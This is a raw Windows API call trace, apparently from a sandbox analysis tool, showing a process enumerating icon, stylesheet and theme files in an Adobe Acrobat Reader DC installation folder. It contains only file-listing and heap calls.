	[0163.774] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1
	[0163.774] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bl.gif", cAlternateFileName="")) returned 1
	[0163.774] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="br.gif", cAlternateFileName="")) returned 1
	[0163.774] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="email_all.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="forms_received.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="forms_super.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="info.gif", cAlternateFileName="")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1
	[0163.775] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pdf.gif", cAlternateFileName="")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviewers.gif", cAlternateFileName="RE16B1~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_browser.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_same_reviewers.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_shared.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rss.gif", cAlternateFileName="")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="server_issue.gif", cAlternateFileName="SERVER~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="server_lg.gif", cAlternateFileName="SERVER~2.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="server_ok.gif", cAlternateFileName="SERVER~3.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1
	[0163.776] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tl.gif", cAlternateFileName="")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr.gif", cAlternateFileName="")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="trash.gif", cAlternateFileName="")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="TURNOF~1.GIF")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="TURNOF~2.GIF")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388e0edd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="TURNON~1.GIF")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="TURNON~2.GIF")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.gif", cAlternateFileName="")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.gif", cAlternateFileName="")) returned 0
	[0163.777] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0163.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.778] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1
	[0163.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.778] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.779] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.779] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1acb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DarkTheme.acrotheme", cAlternateFileName="DARKTH~1.ACR")) returned 1
	[0163.779] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 1
